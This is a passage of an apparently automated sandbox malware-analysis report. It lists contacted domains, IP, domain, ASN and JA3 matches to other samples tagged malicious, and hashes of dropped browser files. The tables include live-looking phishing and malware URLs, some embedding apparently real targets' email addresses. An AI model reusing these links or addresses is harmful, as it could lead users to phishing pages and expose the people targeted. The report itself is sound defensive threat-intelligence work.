asf-ris-prod-neu.northeurope.cloudapp.azure.com, skypedataprdcolcus17.cloudapp.net, img.ui-portal.de.edgekey.net, skypedataprdcolcus16.cloudapp.net, consumerrp-displaycatalog-aks2aks-europe.md.mp.microsoft.com.akadns.net, skypedataprdcolcus15.cloudapp.net, ris.api.iris.microsoft.com, skypedataprdcoleus17.cloudapp.net, blobcollector.events.data.trafficmanager.net, go.microsoft.com.edgekey.net, s.uicdn.com.edgekey.net, dl.mail.com.edgekey.net, skypedataprdcolwus15.cloudapp.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net, cs9.wpc.v0cdn.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found.

Simulations

Behavior and APIs

Time	Type	Description
15:35:37	API Interceptor	1x Sleep call for process: rundll32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
52.97.201.210	moog_invoice_Wednesday 02242021._xslx.hTML	Get hash	malicious	Browse
40.97.128.194	http://outlook.com/owa/airmasteraustralia.onmicrosoft.com	Get hash	malicious	Browse	outlook.com/owa/airmasteraustralia.onmicrosoft.com
195.20.250.115	2790000.dll	Get hash	malicious	Browse
195.20.250.115	2770174.dll	Get hash	malicious	Browse
52.97.201.194	c36.dll	Get hash	malicious	Browse
52.97.186.114	PI_DRAFT.exe	Get hash	malicious	Browse
	https://u4882271.ct.sendgrid.net/ls/click?upn=YFyCGXB2k7XEs51EAWvRp-2BQ6xaP5-2Bxv1vyI4sITyTp6VhtJSyiu7Ungt4CUf7KdGeEBPZ7lJ0WMtGrW3-2F8wXB5kIqpkSCZwccYVceognA2U-3D57Rw_kfZ8cLppmcXDuIHKWdMrLPt30SkBa8ipQz83IjjYGp9c2flQixqYXWN470AqCFO8g1yhSwMHhN8-2BJK0vTLNC61PkTeWIrAs821yYsBfCbuclR33OfNLncv-2FtXraICcEYo4WPVv8iupWN7r8K4Ld3UpsglQggrT98vACCXZNhqlBcQYKLRD-2BBljUb02MnMpFHKiH9-2BP5uH3bAOFC4VOgSpVi86N1p2cxRMZF5Xkh4ZdU-3D	Get hash	malicious	Browse
	ORIGINAL.EXE	Get hash	malicious	Browse
	https://login-microsoftonline-common.ts.r.appspot.com/#lilja.b.einarsdottir@landsbankinn.is	Get hash	malicious	Browse
	http://r6jw3.goxzpuo.xyz/.%4030%40131%40/#jeffrey_stubbs@baylor.edu	Get hash	malicious	Browse
	quote for brass tubing_.exe	Get hash	malicious	Browse
	http://portal.docdeliveryapp.net/?id=PgZ2KyEmoKnTivlgSK93%2FvQ3nU1d7wofmZ58KM79%2B0T3g4dMpwutIehesj0M8w6bD9W%2Bvm1Vf8DOT8Pypg5yGMBCKAWVEWkOR6BQfeYwlHiVbAEjToLIkBZkDD1g%2FABOdJS0BSq8aWxnDp8pxszu6hkFPNgHSFVn%2Fjf9QHUraZGTEiRCD58v8U8lhdSzCIW7laioZnfTnTosYsV7rq1537XQNow0IoTOUOcbr5cW3%2BTIuLecXpTLiDac%2FMFj0tvMvT4I4lQ0qyaJwpLFxTBQv9nLNPX47W83pmHsl9gJet45wpRcPDQ%2Fi2Fx78t2cxJNa%2BExKuV9YyfDDJhzkAffPxL36d7zttr%2FERRXrw%2FoVtxEj5UIREfnFcrpu1x%2Bb7lsRWHfz10AfHpfY8hmgvVXWg%3D%3D	Get hash	malicious	Browse
	Cleared_Payment_Notification_8175-7991-6045_.Html	Get hash	malicious	Browse
	Outward_Swift_Confirmation_7404-6045_.Html	Get hash	malicious	Browse
	https://app.box.com/s/ylwbdosliet5zr8q59jgb9krrtuafoke	Get hash	malicious	Browse
	https://t1.news.mcclatchydc.com/r/?id=h12b14cc1,91dd7c1,91dd7c5&p1=EMC_C_AAL_S_NON_BLKFRPP_20181122_T0&EMHID=ceb0b775161b19d41dc0b1fa4c116d66446afdb03828eb3de4104f20378714b7&CUHID=b203664b092a24f8c96cb73f71d8dd949758183f7cb14af76af6b6351b607c2a&cvosrc=e.r.EMC_C_AAL_S_NON_BLKFRPP_20181122_T0&p1=hjef78232hjwehwj.blob.core.windows.net/bnjew8723jhwnmw/AbV.html#cGF0Lm9ha2VzQHJveWFsbWFpbC5jb20=	Get hash	malicious	Browse
	https://firebasestorage.googleapis.com/v0/b/mx4jnd.appspot.com/o/index.html?alt=media&token=53484e2b-3dbf-4183-a5e7-7e0aa125fba3#gwatson@mrchouston.com	Get hash	malicious	Browse
	https://firebasestorage.googleapis.com/v0/b/user7648467.appspot.com/o/index.html?alt=media&token=6c5bd7b5-6f17-47a2-a4a4-cb9b4ff54e31#danny.pollenus@baloise.be	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ZRH-efz.ms-acdc.office.com	c36.dll	Get hash	malicious	Browse	52.98.163.18
	Signed pages of agreement copy.html	Get hash	malicious	Browse	52.97.232.194
	PI_DRAFT.exe	Get hash	malicious	Browse	52.97.186.114
	moog_invoice_Wednesday 02242021._xslx.hTML	Get hash	malicious	Browse	52.97.201.210
	https://app.box.com/s/yihmp2wywbz9lgdbg26g3tc1piwkalab	Get hash	malicious	Browse	52.97.232.210
	http://resa.credit-financebank.com/donc/dcn/?email=bWNnaW5udEByZXNhLm5ldA==	Get hash	malicious	Browse	52.97.201.242
	https://loginpro-288816.ew.r.appspot.com/#joshua.kwon@ttc.ca	Get hash	malicious	Browse	52.97.186.98
	http://YUEipfm.zackgillum.com/%40120%40240%40#james.kelsaw@puc.texas.gov	Get hash	malicious	Browse	52.97.232.194
	https://microsoft-quarantine.df.r.appspot.com/	Get hash	malicious	Browse	52.97.232.194
	https://storage.googleapis.com/atotalled-370566990/index.html	Get hash	malicious	Browse	52.97.186.18
	https://login-microsoft-office365-auth.el.r.appspot.com/login.microsoftonline.com/common/oauth2/authorize=vNews2&email=microsoftonline.com/common/oauth2/authorize&hashed_email=Y7XY6XCZJ3R4T4MN&utm_campaign=phx_trigger_uk_pop_email4&utm_source=photobox&utm_medium=email&uid=4978854645473&brandName=Photobox#helen@rhdb.com.au	Get hash	malicious	Browse	52.97.232.242
	https://clicktime.symantec.com/3LNDmLN9vLnK1LqGUDBbkAD6H2?u=https%3A%2F%2Foutlook.office.com%2Fmail%2Fsearch%2Fid%2Fnscglobal.com	Get hash	malicious	Browse	52.97.232.226
	https://luminous-cubist-288118.df.r.appspot.com/#lilja.b.einarsdottir@landsbankinn.is	Get hash	malicious	Browse	52.97.232.226
	https://u4882271.ct.sendgrid.net/ls/click?upn=YFyCGXB2k7XEs51EAWvRp-2BQ6xaP5-2Bxv1vyI4sITyTp6VhtJSyiu7Ungt4CUf7KdGeEBPZ7lJ0WMtGrW3-2F8wXB5kIqpkSCZwccYVceognA2U-3D57Rw_kfZ8cLppmcXDuIHKWdMrLPt30SkBa8ipQz83IjjYGp9c2flQixqYXWN470AqCFO8g1yhSwMHhN8-2BJK0vTLNC61PkTeWIrAs821yYsBfCbuclR33OfNLncv-2FtXraICcEYo4WPVv8iupWN7r8K4Ld3UpsglQggrT98vACCXZNhqlBcQYKLRD-2BBljUb02MnMpFHKiH9-2BP5uH3bAOFC4VOgSpVi86N1p2cxRMZF5Xkh4ZdU-3D	Get hash	malicious	Browse	52.97.186.114
	https://share-ointonlinekcjl5cj5k.et.r.appspot.com/#I.Artolli@sbm.mc	Get hash	malicious	Browse	52.97.186.18
	Fund Transfer PDF.htm	Get hash	malicious	Browse	52.97.232.194
	http://outlook.com/owa/airmasteraustralia.onmicrosoft.com	Get hash	malicious	Browse	52.97.232.226
	http://portal.payrolltooling.net/?id=vpqyydl7ZnKtU4usMGPqUQPtxkGlU49Be%2BH%2BAigE5ucTWat3Eej8US2xdckdOu0iDpwQIwMYKl9DLP2pKOIwIWa7isWu4stPeMJ%2BbSSC%2BrsVtg8U%2BWD1tF4Bc3%2FtEr3hJI4S3OomSDlwnU2PwUDgbmdkRVrT8Jiy8Xe4bfQ0dyp5k2o%2Bf2eztEQzNsZlKz0xjWSRZcdjYCg9vWmNNNSvSwsWNybr8UBeONKYmj4PdCOwhNBWdvur%2BK4Wx1bqcPE26q7z8kpyQ4hJ2vOCvXmdlnZ37w0%2BAGvM3H2V03OaxIsBHrlCuyiPhQWq8qdKOB4lg1EmFibK759dnK%2FawF2z6INf5IJhbtrbLVkWA6i%2FuckBPOJvVXHWYj5SHhB8X%2FZz	Get hash	malicious	Browse	52.97.232.194
	okayfreedomwr.exe	Get hash	malicious	Browse	52.97.232.194
	Cleared_Payment_Notification_1588-5755.HTml	Get hash	malicious	Browse	52.97.232.210
www.mail.com	2790000.dll	Get hash	malicious	Browse	82.165.229.59
	2770174.dll	Get hash	malicious	Browse	82.165.229.59
	2ff0174.dll	Get hash	malicious	Browse	82.165.229.59
	https://deref-mail.com/mail/client/QUue7ijDGeE/dereferrer/?redirectUrl=https%3A%2F%2Fadmin.microsoft.com%2Fadminportal%2Fhome%3Fref%3DMessageCenter%3FshowPref%3D1	Get hash	malicious	Browse	82.165.229.59
outlook.com	oEE058tCoG.exe	Get hash	malicious	Browse	40.93.207.1
	2Bmv1UZL2m.exe	Get hash	malicious	Browse	52.101.24.0
	oS4iWYYsx7.exe	Get hash	malicious	Browse	104.47.53.36
	P4SRvI1baM.exe	Get hash	malicious	Browse	104.47.54.36
	051y0i7M8q.exe	Get hash	malicious	Browse	40.93.207.0
	lEbR9gFgLr.exe	Get hash	malicious	Browse	104.47.54.36
	0OvBoFRzgC.exe	Get hash	malicious	Browse	104.47.54.36
	A1qhcbngFV.exe	Get hash	malicious	Browse	104.47.54.36

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	c36.dll	Get hash	malicious	Browse	52.98.163.18
	2oxhsHaX3D.exe	Get hash	malicious	Browse	13.107.4.50
	iKcDLx5Wxc.exe	Get hash	malicious	Browse	104.43.139.144
	r6.zip.exe	Get hash	malicious	Browse	52.239.214.132
	recovered_bin2	Get hash	malicious	Browse	52.228.135.155
	Cmh_Fax-Message-3865.html	Get hash	malicious	Browse	20.199.16.46
	5.dll	Get hash	malicious	Browse	40.97.116.82
	sud-life-mobcast.apk	Get hash	malicious	Browse	104.45.180.93
	sud-life-outwork.apk	Get hash	malicious	Browse	104.45.180.93
	Flwphoptcdyxlxhpejlfjgmsyzqkhoqweu.exe	Get hash	malicious	Browse	20.80.30.45
	2790000.dll	Get hash	malicious	Browse	40.101.136.2
	2770174.dll	Get hash	malicious	Browse	40.101.136.2
	60e40fb428612.dll	Get hash	malicious	Browse	52.97.201.18
	9cYXsscTTT.exe	Get hash	malicious	Browse	104.42.151.234
	TestTakerSBBrowser.exe	Get hash	malicious	Browse	137.117.66.167
	mJSDCeNxFi.exe	Get hash	malicious	Browse	40.88.32.150
	oEE058tCoG.exe	Get hash	malicious	Browse	40.93.212.0
	zHUScMPOlZ.dll	Get hash	malicious	Browse	40.97.116.82
	hsIF8b0YX1.msi	Get hash	malicious	Browse	191.235.71.131
	x86_x64_setup.exe	Get hash	malicious	Browse	104.43.193.48
MICROSOFT-CORP-MSN-AS-BLOCKUS	c36.dll	Get hash	malicious	Browse	52.98.163.18
	2oxhsHaX3D.exe	Get hash	malicious	Browse	13.107.4.50
	iKcDLx5Wxc.exe	Get hash	malicious	Browse	104.43.139.144
	r6.zip.exe	Get hash	malicious	Browse	52.239.214.132
	recovered_bin2	Get hash	malicious	Browse	52.228.135.155
	Cmh_Fax-Message-3865.html	Get hash	malicious	Browse	20.199.16.46
	5.dll	Get hash	malicious	Browse	40.97.116.82
	sud-life-mobcast.apk	Get hash	malicious	Browse	104.45.180.93
	sud-life-outwork.apk	Get hash	malicious	Browse	104.45.180.93
	Flwphoptcdyxlxhpejlfjgmsyzqkhoqweu.exe	Get hash	malicious	Browse	20.80.30.45
	2790000.dll	Get hash	malicious	Browse	40.101.136.2
	2770174.dll	Get hash	malicious	Browse	40.101.136.2
	60e40fb428612.dll	Get hash	malicious	Browse	52.97.201.18
	9cYXsscTTT.exe	Get hash	malicious	Browse	104.42.151.234
	TestTakerSBBrowser.exe	Get hash	malicious	Browse	137.117.66.167
	mJSDCeNxFi.exe	Get hash	malicious	Browse	40.88.32.150
	oEE058tCoG.exe	Get hash	malicious	Browse	40.93.212.0
	zHUScMPOlZ.dll	Get hash	malicious	Browse	40.97.116.82
	hsIF8b0YX1.msi	Get hash	malicious	Browse	191.235.71.131
	x86_x64_setup.exe	Get hash	malicious	Browse	104.43.193.48

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
9e10692f1b7f78228b2d4e424db3a98c	#Ud83d#UdcccAxactor PayStub For Vibeke.ly DATE July 09, 2021.html	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 82.165.229.87 172.217.168.14 82.165.229.59
	dX8ghXIuMx.dll	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 82.165.229.87 172.217.168.14 82.165.229.59
	SecureMessageAtt.HTML	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 82.165.229.87 172.217.168.14 82.165.229.59
	KuVDSACx1F.exe	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 82.165.229.87 172.217.168.14 82.165.229.59
	T004Hrtiyf.dll	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 82.165.229.87 172.217.168.14 82.165.229.59
	iKcDLx5Wxc.exe	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 82.165.229.87 172.217.168.14 82.165.229.59
	ADI INV-RECON #_891976.html	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 82.165.229.87 172.217.168.14 82.165.229.59
	nvjCh1oFx5.exe	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 82.165.229.87 172.217.168.14 82.165.229.59
	Mh2FzBrd3m.exe	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 82.165.229.87 172.217.168.14 82.165.229.59
	crv.dll	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 82.165.229.87 172.217.168.14 82.165.229.59
	bDemJQO51z.xlsb	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 82.165.229.87 172.217.168.14 82.165.229.59
	Cmh_Fax-Message-3865.html	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 82.165.229.87 172.217.168.14 82.165.229.59
	Invoice-Message-7784002.html	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 82.165.229.87 172.217.168.14 82.165.229.59
	Invoice-Message-4821881.html	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 82.165.229.87 172.217.168.14 82.165.229.59
	Mes_Drivers_3.0.4.exe	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 82.165.229.87 172.217.168.14 82.165.229.59
	FAX.HTML	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 82.165.229.87 172.217.168.14 82.165.229.59
	runsys32.dll	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 82.165.229.87 172.217.168.14 82.165.229.59
	Mclawslaw.ca_Fax-Message.html	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 82.165.229.87 172.217.168.14 82.165.229.59
	E00E.dll	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 82.165.229.87 172.217.168.14 82.165.229.59
	Payslip070620219359636Z.html	Get hash	malicious	Browse	82.165.229.16 195.20.250.115 82.165.229.87 172.217.168.14 82.165.229.59

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\BACZYXTY\plus.mail[1].xml Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.469670487371862
Encrypted:	false
SSDEEP:	3:D90aKb:JFKb
MD5:	C1DDEA3EF6BBEF3E7060A1A9AD89E4C5
SHA1:	35E3224FCBD3E1AF306F2B6A2C6BBEA9B0867966
SHA-256:	B71E4D17274636B97179BA2D97C742735B6510EB54F22893D3A2DAFF2CEB28DB
SHA-512:	6BE8CEC7C862AFAE5B37AA32DC5BB45912881A3276606DA41BF808A4EF92C318B355E616BF45A257B995520D72B7C08752C0BE445DCEADE5CF79F73480910FED
Malicious:	false
Preview:	<root></root>

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\E5F0NRSV\www.mail[1].xml Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	2.469670487371862
Encrypted:	false
SSDEEP:	3:D90aK1r0aKb:JFK1rFKb
MD5:	132294CA22370B52822C17DCB5BE3AF6
SHA1:	DD26B82638AD38AD471F7621A9EB79FED448A71C
SHA-256:	451ABBE0AEFC000F49967DABF8D42344D146429F03C8C8D4AE5E33FF9963CF77
SHA-512:	6D5808CAD199A785C82763C68F0AE1F4938C304B46B70529EA26B3D300EF9430AD496C688D95D01588576B3A577001D62245D98137FD5CD825AD62E17D36F15C
Malicious:	false
Preview:	<root></root><root></root>

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\URW0GA4Q\dl.mail[1].xml Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	2.469670487371862
Encrypted:	false
SSDEEP:	3:D90aK1r0aKb:JFK1rFKb
MD5:	132294CA22370B52822C17DCB5BE3AF6
SHA1:	DD26B82638AD38AD471F7621A9EB79FED448A71C
SHA-256:	451ABBE0AEFC000F49967DABF8D42344D146429F03C8C8D4AE5E33FF9963CF77
SHA-512:	6D5808CAD199A785C82763C68F0AE1F4938C304B46B70529EA26B3D300EF9430AD496C688D95D01588576B3A577001D62245D98137FD5CD825AD62E17D36F15C
Malicious:	false
Preview:	<root></root><root></root>

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{7933872F-E0BA-11EB-90EB-ECF4BBEA1588}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	29272
Entropy (8bit):	1.7651719371869226
Encrypted:	false
SSDEEP:	48:IwxGcprcGwpLAG/ap8WGIpc2GvnZpv/GojPqp9pGo4nJzpmfGWj5vTUGWj7T6pOD:rHZUZ622WTtjifqnJzMFBY62VBiCpB
MD5:	E357ED5A0542490A566B5EAC3CF2B44E
SHA1:	F95BC202882DE6443B082B951A1D0A45CFC5F18A
SHA-256:	9A6DCDE377850667E1448F4B368CE80F34A1D10460BD05403C34EB9177713B0D
SHA-512:	A7FA106E156EB6CB5F1FBA59CA266721B739F011F4A309BA5B7960E6D88061264A90F84ADB6D85E1D52988BE9BA01C7BED4660AA8A020647B2C7540118C4A8F4
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{93B4E600-E0BA-11EB-90EB-ECF4BBEA1588}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	29272
Entropy (8bit):	1.760850835499065
Encrypted:	false
SSDEEP:	48:IwMGcprlGwpLsG/ap8JGIpcOGvnZpvyGomPqp9BGo4KAzpmxGWm5yThGWm7T6pzR:rQZvZu27WLtxifyKAzM6Y+6IMBBfpB
MD5:	FFBCC26AF9E9694FD5B2D63480E548CB
SHA1:	65B20697857DA51DB31AD002EEDE6609FF9699EC
SHA-256:	B759D7445DE69538527100B8AE58AED589F237714F32363A125BBAEB5CF23AEE
SHA-512:	B7AE401ABA04165F659A8BC9DEAF22FD28BDF0B86A309822A027B9BF721EAEBBA82837FD0609B065307ADC92CE892D1B9F9595F83A1635F3761860766A36581B
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{9AD72DEB-E0BA-11EB-90EB-ECF4BBEA1588}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	29272
Entropy (8bit):	1.768675594947137
Encrypted:	false
SSDEEP:	96:rnZwZj29WXt0eiftIeCezMieKefe6weWeBneBepB:rnZwZj29WXtpift1bzM7j26dnBeUpB
MD5:	860C15A917AE5EDAD34C5A4369079228
SHA1:	7739C465EE37FCA2F5742880D86CCB2F7939722E
SHA-256:	EF6FDE4CE0FF1B519088F82689CF6ACAE912D88419A6A121BD294A4F60EF86CF
SHA-512:	32B0E42DB337FBF07B9819F5DA063AF93E704C8F07F669570541722CA17DE6ABE6ABEBB5B7F02FF9BF1A32A08653128ADD4119C45BC28B6357ABB7693D0D6D1F
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{A226C23E-E0BA-11EB-90EB-ECF4BBEA1588}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	29272
Entropy (8bit):	1.7672131605186487
Encrypted:	false
SSDEEP:	48:Iw0GcprdGwpLPG/ap8kGIpcjGvnZpvqioGoGPqp9TwGo4aAzpmYGWG5STfGWG7T0:roZHZ32kWEt3iffaAzMJIg6GMBlfpB
MD5:	14C36095648E6F0E3C14F7B709318B5A
SHA1:	CA87585CCD780D833A88B459786E21BD1FA586E8
SHA-256:	B726879054E47A2A9EE8F3A0AF49B71BBF513B5D0F3179815CCC7C32D24BE8A5
SHA-512:	45D14CC2275889A9FCDE940FF116F63018854C68124E27F04A1786EE4E13B9CD8515863E2A568571D4BE018B63BC45AC0974342453A2A59ECA775911D42075C4
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{A90D6F77-E0BA-11EB-90EB-ECF4BBEA1588}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	29272
Entropy (8bit):	1.7635889906689852
Encrypted:	false
SSDEEP:	48:Iw2PGcpr8kGwpLFdG/ap8Ty7GIpcRHiGvnZpvR8GoMPqp9RIGo4ISzpmleGWM5AY:rMZjZD2CWVt7ifNISzMlFaM6qGBqJpB
MD5:	DAA2D9C509F3C8A7586531B46208B354
SHA1:	3BBD682CD1AF2A71C645EB9A903211E73AD7F150
SHA-256:	B73DECE6615B7D296E69FC053020389FC3DB8CF438B7C544B4C6EB6E4FD033B4
SHA-512:	722894DE6573627704559516AF177EA71F2639C5CDB1DE02B1755B7154E69791E2C0EEDF3C6B2DB66048F9261BB26AFCFA8AA935F2D697841A3ACDE526704134
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{B0214095-E0BA-11EB-90EB-ECF4BBEA1588}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	29272
Entropy (8bit):	1.7676592628520662
Encrypted:	false
SSDEEP:	96:rcZDZ/22WfHtf+iffAKwzMfl4m6Q8BBfpB:rcZDZ/22Wvt2if4KwzMN4m6Q8BBfpB
MD5:	8D8BB64BC60365F0C5E5322442989081
SHA1:	21817155A05422CFB1FF68F35922CCE1ED1D152B
SHA-256:	5F816B5996B30AD86BC6EF0BA84EF3EE4ACED2016D36B707290FEE0DFA12ED73
SHA-512:	466C73C758D690F851E3A1285D35BBA7D3D88799931543B7C06616D8EDA025C1BB5DC412AEA9E025FA6C96757E81DF8DF4111DD3CE0C86F34CAFF02D88DB98A7
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{B9821E81-E0BA-11EB-90EB-ECF4BBEA1588}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	21592
Entropy (8bit):	1.7577213913748129
Encrypted:	false
SSDEEP:	48:IwaGcpr77GwpLQ8G/ap8QTGIpcQGGvnZpvQiGoaPqp9QvoGo4GUzpmQBGWa5OTR:reZ7VZQ+2QVWQDtQVifQTGUzMQGMV
MD5:	9BFBF0B240C274AD1AD4DC4CD467EDB8
SHA1:	638ADA4BB03E34A8FF23337EFE0028D634617B52
SHA-256:	57C4744BDB991AC4CDF98288F9B5F3E074D70E590AA424A8DAE05B6518037E5F
SHA-512:	05AA22B8D742B2AAC35C42194684F22509726E6B76819F7DD9803C9A0BE980E73B6C4618D2502CCC862E11DA0D62E8253A35C5780F9DA7F896475ADB2B8DE3D2
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{79338731-E0BA-11EB-90EB-ECF4BBEA1588}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27376
Entropy (8bit):	1.8484230241840844
Encrypted:	false
SSDEEP:	48:IwwGcprRGwpahG4pQVGrapbSPGQpBWGHHpcXTGUp87GzYpmgUGopoOQKMcUqz6VE:r0ZLQz6FBSZjV2hWBMN60/cVx0/cOcA
MD5:	72436BA6E6BDB0CCEB4ABCAC261EF8D5
SHA1:	22F9AC1CFE41D86F394CC9C20592B8EC98D4FF4A
SHA-256:	27DF74B2F8C7BB7365A1776BED000C7C469CDC844C35DFF59873E2B28CB3B547
SHA-512:	5EE58B5C0A0E3DA46F51A07627D573E0ED60069F3968F3C0A6AD855F19A3FEA56EA659C93CA228C55701809A852E767736C24839194F064D7EE5885AC0BAF999
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{93B4E602-E0BA-11EB-90EB-ECF4BBEA1588}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27384
Entropy (8bit):	1.8466127532465868
Encrypted:	false
SSDEEP:	96:rkZbQ36FBSSjx2NWcM8yv3k9SB0PRv3k9SB00rA:rkZbQ36FkSjx2NWcM8yv3kDPRv3kD0rA
MD5:	33D22CD434B44447ABA2A36D365BDC1E
SHA1:	760003E8561C7EEC02586F770E9BA511735A1113
SHA-256:	4988E68E693BDE520442FCDF525EBF9942CA4402B198A2EC95E198934B46A5A4
SHA-512:	287432579A4042D3D0434B55AAB3F97C684CAA85B0CC7E0F5564402B0441D7F138FFCB8885510765F5F7362149ADD79E27DA5AC59D07F0F68459D7A6A2F1BBA7
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{9AD72DED-E0BA-11EB-90EB-ECF4BBEA1588}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27372
Entropy (8bit):	1.8451347187332205
Encrypted:	false
SSDEEP:	48:IwpGcprIGwpaoG4pQkGrapbSCGQpBaGHHpcLTGUp8rGzYpm19Gopc75KMUAMKuA2:rvZQQ46yBSKjh2lWRMZ+0IuAOx0IuAUA
MD5:	1044858E38DD65E632328AF5F1906E36
SHA1:	95CC8962762433907252F01FF661A27138847D10
SHA-256:	3848EF6A0CB48CE488D6ACB6E10B3E2B5D4329AB1593672CA254DBEEED701432
SHA-512:	5D09A0D0585357C289E072D8CBDF977CB104DC6BCD30D59008B8DAB35F23F62DDAA5D721259F1047E9CC83D008B38BB673365BF4180043B3FE097E3862A9117A
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{A226C240-E0BA-11EB-90EB-ECF4BBEA1588}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27376
Entropy (8bit):	1.845358168837199
Encrypted:	false
SSDEEP:	96:rgZHQD6tBS4jN2FW2M36SztdFSCxSztdFS7tdqA:rgZHQD6tk4jN2FW2M36YtxYCSA
MD5:	E7EB3B4FC3827E8D4F4389533EA4BE5A
SHA1:	03363ED25073F11E3F83EDB31F081FD385EFE871
